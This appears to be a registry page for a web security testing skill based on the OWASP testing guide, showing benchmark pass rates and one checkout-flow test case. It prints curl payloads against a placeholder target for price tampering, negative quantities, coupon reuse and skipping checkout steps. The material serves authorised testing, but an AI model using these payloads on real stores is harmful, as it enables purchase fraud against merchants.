Loading skill
Install any skill in seconds. Free to start, no credit card required.
Get Started Free →cyberstrikeus/wstg-logic-client-api
WSTG business logic, client-side, and API security testing
Passed 19 of 22 test cases with the skill, and 16 of 22 without it.
and 1 more in the full report
4 fixed15 passed either way2 still failing1 broke
Tokens, turns and time describe resource use, not a dollar price.
One of 4 test cases the skill fixed. Same model, same prompt, with and without the skill.
In multi-stage checkout flows (e.g. address -> payment -> confirm), how can a test verify if an application relies solely on client-submitted step numbers rather than server session state?
| Checked | Without skill | With skill |
|---|---|---|
| Submits POST request containing step parameter modified to final confirmation step | Passed | Passed |
| Includes explicit boolean parameter indicating completion status in JSON request | Missed | Passed |
The instructions your model reads when the skill loads.
# Negative quantity/price
curl -X POST https://TARGET/api/cart -d '{"item_id":1,"quantity":-1,"price":100}'
# Zero/fractional values
curl -X POST https://TARGET/api/cart -d '{"item_id":1,"quantity":0.001}'
# Modify price client-side
curl -X POST https://TARGET/api/checkout -d '{"item_id":1,"price":0.01}'
# Currency confusion
curl -X POST https://TARGET/api/checkout -d '{"amount":100,"currency":"JPY"}'
# (JPY has no decimals; mishandled conversion)
# Discount/coupon abuse
curl -X POST https://TARGET/api/apply-coupon -d '{"code":"SAVE50","code":"SAVE50"}'
# Test: apply multiple times, expired codes, codes from other users
# Skip steps in multi-step process
# Step 1: /checkout/address → Step 2: /checkout/payment → Step 3: /checkout/confirm
# Try accessing Step 3 directly:
curl -s -H "Cookie: session=TOKEN" https://TARGET/checkout/confirm
# Modify step indicator
curl -X POST https://TARGET/checkout -d '{"step":3,"complete":true}'
# Process flow reversal
# Complete payment → go back → change cart → order ships with old payment
test cases passed, vs 16 / 22 without
More skills from the same source and nearby in the registry, with their headline benchmark lift.